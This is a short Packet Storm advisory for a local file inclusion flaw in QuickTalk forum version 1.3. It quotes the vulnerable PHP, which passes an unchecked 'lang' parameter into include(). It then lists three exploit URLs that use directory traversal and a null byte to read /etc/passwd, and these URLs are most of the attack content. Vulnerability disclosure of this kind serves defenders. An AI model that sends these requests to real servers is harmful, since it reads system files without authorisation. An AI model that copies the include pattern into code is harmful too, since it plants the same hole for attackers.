QuickTalk forum version 1.3 suffers from local file inclusion vulnerabilities.
e2c03a6e71b9f8724f895988242995c3###QuickTalk forum v1.3 Local File Inclusion###
#download: http://www.qt-cute.org/download/qtf13.zip
#found by: katatafish (karatatata@hush.com)
#vulncode:
$strLang = $_GET["lang"];
include("language/$strLang/qtf_lang_reg.inc");
#exploits:
http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00
#thanks:str0ke
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!